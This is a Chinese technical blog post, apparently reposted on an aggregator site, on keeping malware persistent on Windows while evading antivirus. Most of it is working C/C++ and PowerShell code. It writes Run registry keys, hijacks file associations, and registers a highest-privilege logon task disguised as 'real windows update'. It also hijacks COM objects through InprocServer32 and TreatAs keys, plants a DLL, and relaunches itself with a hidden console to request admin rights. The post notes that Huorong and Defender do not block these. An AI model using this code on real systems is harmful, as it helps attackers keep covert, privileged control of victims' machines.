浅谈免杀下的持久化

news/2024/9/23 20:29:12/

文章目录

    • 前记
    • 注册表
    • 计划任务
    • COM劫持
    • 后记
    • reference

前记

实战中持久化的手段常用的就是加服务、添改注册表、加计划任务、劫持等,这里探索c/c++下的维权免杀

注册表

用户级

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

系统级(需要管理员权限)

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

详细代码

#include<stdio.h>
#include<windows.h>
int main(void)
{HKEY hKey;DWORD result;//打开注册表DWORD lRet = RegOpenKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);if (lRet != ERROR_SUCCESS)return 0;char szModule[MAX_PATH];GetModuleFileNameA(NULL, szModule, MAX_PATH);lRet = RegSetValueExA(hKey,"coleak",0,REG_SZ,(BYTE*)szModule,strlen(szModule));if (lRet == ERROR_SUCCESS)printf("success\n");else{printf("failed");}RegCloseKey(hKey);return 0;
}

如果拿到了管理员权限,还可以通过后缀劫持进行维权

#include <windows.h>
#include <stdio.h>void showErrorText(DWORD error_num);int main()
{HKEY hKey;DWORD result;char szModule[MAX_PATH];GetModuleFileNameA(NULL, szModule, MAX_PATH);// 要替换的程序, 没写 %1 即调用时不会把双击的文件路径传给exe//打开注册表result = RegOpenKeyExA(HKEY_CLASSES_ROOT, "xxx\\shell\\Open\\command", // 要打开的注册表项名称0,              // 保留参数必须填 0KEY_SET_VALUE,  // 打开权限,写入&hKey           // 打开之后的句柄);if (result == ERROR_SUCCESS){printf("open success!n");}else{printf("open failed!n");showErrorText(result);system("pause");return 0;}// 设置注册表的值result = RegSetValueExA(hKey,"",                // 设置默认值0,                 // 保留参数必须填 0REG_SZ,            // 键值类型为字符串(const unsigned char*)szModule, // 字符串首地址sizeof(szModule)       // 字符串长度);if (result == ERROR_SUCCESS){printf("set success!n");}else{printf("set failed!n");showErrorText(result);}//关闭注册表:RegCloseKey(hKey);// 暂停system("pause");return 0;
}/** 根据错误码输出错误信息*/
void showErrorText(DWORD error_num)
{char* msg = NULL;FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,NULL,error_num,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言(LPSTR)&msg,0,NULL);printf("Error code %d: ", error_num);if (msg == NULL)printf("%sn", "Unknown error");elseprintf("%sn", msg);
}

这里测试火绒和微软的defender都是不拦截的

计划任务

  • 触发器:定义了何时执行任务。可能是一次性的、按日程的、或者是响应特定事件的。
  • 操作:定义了任务执行的具体操作。可能是启动应用程序、发送电子邮件、显示消息等。
  • 条件:定义了任务执行的条件。例如,你可以配置任务仅在计算机空闲或只在特定的电源情况下执行。
  • 设置:定义了任务的其他设置,例如任务失败时重试的次数,任务运行的最长时间等。
#include <atlbase.h>
#include <comdef.h>
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")ITaskService* m_lpITS = NULL;
ITaskFolder* m_lpRootFolder = NULL;//初始化COM组件
void Init() {//1.CoInitialize初始化COM组件HRESULT hr = CoInitialize(NULL);if (FAILED(hr)) {MessageBox(NULL, L"初始化COM组件失败", L"Failed", MB_OK);}//2.CoCreateInstance创建任务服务对象hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&m_lpITS);if (FAILED(hr)) {MessageBox(NULL, L"创建任务服务失败", L"Failed", MB_OK);}//3.连接到任务服务hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());if (FAILED(hr)) {MessageBox(NULL, L"连接服务失败", L"Failed", MB_OK);}//4.从ITaskService对象中获取根任务Root Task Folder的指针对象ITaskFolder,这个指针指向新注册的任务hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);if (FAILED(hr)) {MessageBox(NULL, L"获取指针失败", L"Failed", MB_OK);}
}//卸载COM组件
void UnInit() {if (m_lpITS){m_lpITS->Release();}if (m_lpRootFolder){m_lpRootFolder->Release();}CoUninitialize();
}//创建计划任务
BOOL CreateTask(const char* lpszTaskName, const char* lpszProgramPath, const char* lpszParameters, const char* lpszAuthor) {// 创建任务定义对象来创建任务//  If the same task exists, remove it.m_lpRootFolder->DeleteTask((BSTR)lpszTaskName,0);ITaskDefinition* pTaskDefinition = NULL;HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);if (FAILED(hr)){return FALSE;}/* 设置注册信息 */IRegistrationInfo* pRegInfo = NULL;hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);if (FAILED(hr)){return FALSE;}// 设置作者信息hr = pRegInfo->put_Author(_bstr_t(lpszAuthor));pRegInfo->Release();/* 设置登录类型和运行权限 */IPrincipal* pPrincipal = NULL;hr = pTaskDefinition->get_Principal(&pPrincipal);if (FAILED(hr)){return FALSE;}// 设置登录类型hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);// 设置运行权限// 最高权限hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);pPrincipal->Release();/* 设置其他信息 */ITaskSettings* pSettting = NULL;hr = pTaskDefinition->get_Settings(&pSettting);if (FAILED(hr)){return FALSE;}// 设置其他信息hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);pSettting->Release();/* 创建执行动作 */IActionCollection* pActionCollect = NULL;hr = pTaskDefinition->get_Actions(&pActionCollect);if (FAILED(hr)){return FALSE;}IAction* pAction = NULL;// 创建执行操作hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);pActionCollect->Release();/* 设置执行程序路径和参数 */CComVariant variantProgramPath(NULL);CComVariant variantParameters(NULL);IExecAction* pExecAction = NULL;hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));if (FAILED(hr)){pAction->Release();return FALSE;}pAction->Release();// 设置程序路径和参数variantProgramPath = lpszProgramPath;variantParameters = lpszParameters;pExecAction->put_Path(variantProgramPath.bstrVal);pExecAction->put_Arguments(variantParameters.bstrVal);pExecAction->Release();/* 创建触发器,实现用户登陆自启动 */ITriggerCollection* pTriggers = NULL;hr = pTaskDefinition->get_Triggers(&pTriggers);if (FAILED(hr)){return FALSE;}// 创建触发器,把触发器设置为ITrigger* pTrigger = NULL;hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);if (FAILED(hr)){return FALSE;}/* 注册任务计划  */IRegisteredTask* pRegisteredTask = NULL;CComVariant variantTaskName(NULL);variantTaskName = lpszTaskName;hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,pTaskDefinition,TASK_CREATE_OR_UPDATE,_variant_t(),_variant_t(),TASK_LOGON_INTERACTIVE_TOKEN,_variant_t(""),&pRegisteredTask);if (FAILED(hr)){pTaskDefinition->Release();return FALSE;}pTaskDefinition->Release();pRegisteredTask->Release();return TRUE;
}//删除计划任务
BOOL DeleteTask(char* lpszTaskName)
{if (NULL == m_lpRootFolder){return FALSE;}CComVariant variantTaskName(NULL);variantTaskName = lpszTaskName;HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);if (FAILED(hr)){return FALSE;}return TRUE;
}
int main()
{const char* lpszTaskName = "real windows update";   //任务名const char* lpszProgramPath = "c:\\windows\\system32\\calc.exe";  //要执行的程序路径const char* lpszParameters = "whoami";     //程序参数const char* lpszAuthor = "coleak";Init();BOOL bRet = CreateTask(lpszTaskName, lpszProgramPath, lpszParameters, lpszAuthor);if (!bRet) {printf("Create Task Failed");return -1;}UnInit();printf("Successd");return 0;
}

如图计划任务以最高权限运行,但是程序本身需要管理员权限才能添加成功

在这里插入图片描述

COM劫持

常见的手段如下

  • 修改已有的InprocServer32指向我们生成的dll
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandlerreg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{6F58F65F-EC0E-4ACA-99FE-FC5A1A25E4BE}\InprocServer32" /d "C:\security\tmp\Dll.dll" /t REG_SZ /f
  • 设置计划任务通过 powershell 或 vbs 脚本来调用自己注册的恶意 COM

可以结合上面的写注册表和计划任务将vbs放到自启动去拉起com的函数

  • 利用现有任务进行劫持

Action 为 Comhandler 的计划任务调用的全是系统内置 COM,他们在注册表中的修改权限都是 trustedinstaller,其他用户都只有读取权限。(需要3389修改拥有者)

  • TreatAS键劫持

关键点是找到修改无需权限的节点,节点新建到HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID或者HKCU\Software\Classes\CLSID无需高权限

#定义
$HKLM = "HKLM:\software\classes\CLSID"
$CLSID = "{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}"
$HijackCLSID = "{46C166AA-3108-11D4-9348-00C04F8EEB71}"
$DLL = "C:\tmp\calculator_x64.dll"
#新建恶意CLSID节点{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
New-Item -Type Directory "$HKLM\$CLSID"
#将键值指向恶意文件的路径并设置DLL线程模型
New-Item -ItemType String "$HKLM\$CLSID\InprocServer32" -value $DLL
New-ItemProperty -Path "$HKLM\$CLSID\InprocServer32" -Name "ThreadingModel" -Value "Both"
#在家庭网络配置管理器下CLSID节点新建TreatAs键并将默认值指向恶意CLSID节点
New-Item -ItemType String "$HKLM\$HijackCLSID\TreatAs" -value $CLSID
#调用测试
rundll32.exe -sta $HijackCLSID
#环境恢复,删除TreatAs键和恶意CLSID节点
Remove-Item -Path "$HKLM\$CLSID" -recurse
Remove-Item -Path "$HKLM\$HijackCLSID\TreatAs" -recurse

测试

1、先尝试直接写注册表免注册com

# include <windows.h>
# include <tchar.h>
#include<iostream>
using namespace std;
int main(void)
{HKEY hKey = NULL;char subKey[] = "SOFTWARE\\Classes\\CLSIDk\\{C5602CE6-9B79-12D3-B654-581BBAEF8DCD}";DWORD dwOptions = REG_OPTION_NON_VOLATILE;DWORD dwDisposition;long resulte = RegCreateKeyExA(HKEY_CURRENT_USER, subKey, 0, NULL,dwOptions, KEY_WRITE, NULL, &hKey, &dwDisposition);char szModule[MAX_PATH]="C:\\security\\tmp\\ATLProject1.dll";DWORD lRet = RegSetValueExA(hKey,"InprocServer32",0,REG_SZ,(BYTE*)szModule,strlen(szModule));if (lRet == ERROR_SUCCESS)printf("success\n");else{printf("failed");}RegCloseKey(hKey);return 0;
}

调用的时候会报错如下:80040154 没有注册类(注册需要管理员权限),同时添加计划任务也需要管理员权限,非常不安全不建议这么搞

2、枚举可用于 COM 劫持的计划任务,然后在user注册表提前劫持或者通过TreatAS劫持

Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler -PersistenceLocations

测试的dll必须加互斥规则

BOOL TestMutex()
{HANDLE hMutex = CreateMutex(NULL, false, "myself");  if (GetLastError() == ERROR_ALREADY_EXISTS){CloseHandle(hMutex);return 0;  }return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:if(TestMutex()==0)return TRUE;WinExec("calc.exe",SW_SHOWNORMAL);case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

后记

注册表功能

名称作用
HKEY_CLASSES_ROOT用于存储一些文档类型、类、类的关联属性。
HKEY_CURRENT_CONFIG用户存储有关本地计算机系统的当前硬件配置文件信息。
HKEY_CURRENT_USER用于存储当前用户配置项。
HKEY_LOCAL_MACHINE用于存储当前用户物理状态。
HKEY_USERS用于存储新用户的默认配置项。

CLSID

CLSID是微软提出的一个概念,中文翻译为:全局唯一标识符。CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。

常见的CLSID:

{20D04FE0-3AEA-1069-A2D8-08002B30309D} 我的电脑
{450D8FBA-AD25-11D0-98A8-0800361B1103} 我的文档
{645FF040-5081-101B-9F08-00AA002F954E} 回收站

CLSID结构体:

typedef struct _GUID {DWORD Data1; // 随机数WORD Data2; // 和时间相关WORD Data3; // 和时间相关BYTE Data4[8]; // 和网卡MAC相关} GUID;typedef GUID CLSID;  // 组件IDtypedef GUID IID;    // 接口ID

注册表中的CLSID

CLSID Key:

Key Name说明
LocalServer32指定应用程序使用的自定义处理程序,即exe路径
InprocServer32/InprocHandler32模块、线程属性配置,即dll路径

COM组件寻找顺序

  • 1.HKCU\Software\Classes\CLSID
  • 2.HKCR\CLSID;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
  • 3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

理论上可行的3种劫持方案:

  • HKCR中有,而HKCU中没有,只需要在HKCU中注册即可劫持HKCR中的COM服务。
  • 修改掉LocalServer32InprocServer32的键值。
  • 替换掉LocalServer32InprocServer32的键值中的文件。

注册调用编写的com

regsvr32.exe -i ATLProject1.dll #这是注册
regsvr32.exe /u ATLProject1.dll #这是卸载
  • vbs
set com=CreateObject("ATLProject1.temp")
dim num
num=com.Number(2)
msgbox num
  • powershell
[activator]::CreateInstance([type]::GetTypeFromCLSID("1006b886-9932-45f8-ad39-bec8c210e15e")).Number(2)
  • cmd
rundll32.exe -sta {CLSID}

请求管理员

VOID ManagerRun(LPCSTR exe, LPCSTR param)
{SHELLEXECUTEINFOA ShExecInfo;ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;ShExecInfo.hwnd = NULL;ShExecInfo.lpVerb = "runas";ShExecInfo.lpFile = exe;ShExecInfo.lpParameters = param;ShExecInfo.lpDirectory = NULL;ShExecInfo.nShow = SW_SHOW;ShExecInfo.hInstApp = NULL;BOOL ret = ShellExecuteExA(&ShExecInfo);//杀掉当前线程CloseHandle(ShExecInfo.hProcess);return;
}int main(int argc, char* argv[]) {if (argc == 1) //初次运行,即双击EXE{ShowWindow(GetConsoleWindow(), SW_HIDE);ManagerRun(argv[0], "2");return 1;}else if (argc == 2) //再次运行,即上面那个ManagerRun{function();/*你的程序主代码在此*/}return 0;
}

reference

https://ruyueattention.github.io/2021/12/26/COM%E5%8A%AB%E6%8C%81/
https://bu1.github.io/2021/11/27/COM%E7%BB%84%E4%BB%B6%E5%8A%AB%E6%8C%81%E5%AD%A6%E4%B9%A0%EF%BC%9A%E4%BB%8E%E5%88%9D%E8%AF%86%E5%88%B0%E7%AE%80%E5%8D%95%E5%88%A9%E7%94%A8/
https://www.4hou.com/posts/Mo51
https://lellansin.wordpress.com/2014/07/28/%E6%9C%A8%E9%A9%AC%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81%EF%BC%88%E5%85%AB%EF%BC%89%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%93%8D%E4%BD%9C/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/
https://sp4zcmd.github.io/2021/02/28/%E4%BD%BF%E7%94%A8COM%E7%BB%84%E4%BB%B6%E5%88%9B%E5%BB%BA%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1/

http://www.ppmy.cn/news/1435279.html

相关文章

【八股】计算机网络篇

网络模型 应用层【HTTP&#x1f449;报文/消息】 传输层【TCP或UDP&#x1f449;段&#x1f449;MSS】网络层【IP、寻址和路由&#x1f449;MTU】 ①IP&#xff08;Internet Protocol&#xff0c;网际协议&#xff09;主要作用是定义数据包的格式、对数据包进行路由和寻址&…

亚远景科技-什么是R.A.S.I.C角色职权矩阵

什么是 R.A.S.I.C角色职权矩阵 在流程定义过程中&#xff0c;亚远景科技推荐使用RASIC 矩阵。RASIC 矩阵是一个非常有用的管理方法。可以明确流程定义中的角色和其相关责任。 "RASIC" 是"Responsible" 、"Accountable" 、"Supportive"…

【Linux高性能服务器编程】两种高性能并发模式剖析——领导者/追随者模式

hello &#xff01;大家好呀&#xff01; 欢迎大家来到我的Linux高性能服务器编程系列之两种高性能并发模式介绍&#xff0c;在这篇文章中&#xff0c;你将会学习到高效的创建自己的高性能服务器&#xff0c;并且我会给出源码进行剖析&#xff0c;以及手绘UML图来帮助大家来理解…

nginx 配置 SSL 证书实现 https 访问

nginx 配置SSL证书实现https访问 1. SSL 证书简介与获取1.1 SSL 证书介绍1.2 获取 SSL 证书 2. nginx 配置 SSL 文件2.1 SSL 文件放置与配置文件修改2.1.1 文件配置2.1.2 强制 https 访问 2.2 验证配置结果 同步发布在个人笔记 nginx 配置 SSL 证书实现 https 访问 配置好 ngi…

虚拟DOM的发展趋势和潜在创新

虚拟DOM&#xff08;Virtual DOM&#xff09;技术是React框架的核心特性之一&#xff0c;它通过在内存中构建一个轻量级的DOM副本来提高页面性能。然而&#xff0c;虚拟DOM技术并非是完美无缺的&#xff0c;它仍然存在一些潜在的改进空间和发展方向。 性能优化&#xff1a;虚拟…

智能驾驶+网络安全

在智能驾驶场景下&#xff0c;安全问题一直是一个持续热点。 针对车机模块不被黑客利用Linux的漏洞攻击&#xff0c;可以采取以下几种方式来提高安全性&#xff1a; 安全设计和防护&#xff1a;在设计车机模块时&#xff0c;需要考虑安全性&#xff0c;并采取相应的安全防护措施…

QT——其他方式实现HelloWrold

QT——其他方式实现HelloWrold 使用输入框实现使用代码实现 通过按钮实现信号槽代码方式实现 我们之前对QT实现HelloWorld有了一些基本的了解&#xff0c;用了一些简单的方法实现了HelloWorld&#xff0c;如果对QT还不怎么了解的&#xff0c;可以点击这里&#xff1a; https://…

go学习知识点

学习 Go 语言涉及许多不同的概念和知识点。以下是一些关键的学习领域&#xff1a; 基础概念 变量和类型&#xff1a;了解 Go 的基本数据类型&#xff0c;如整型、浮点型、布尔型、字符串等&#xff0c;以及如何声明和使用变量。包管理&#xff1a;学习如何导入和使用其他包&a…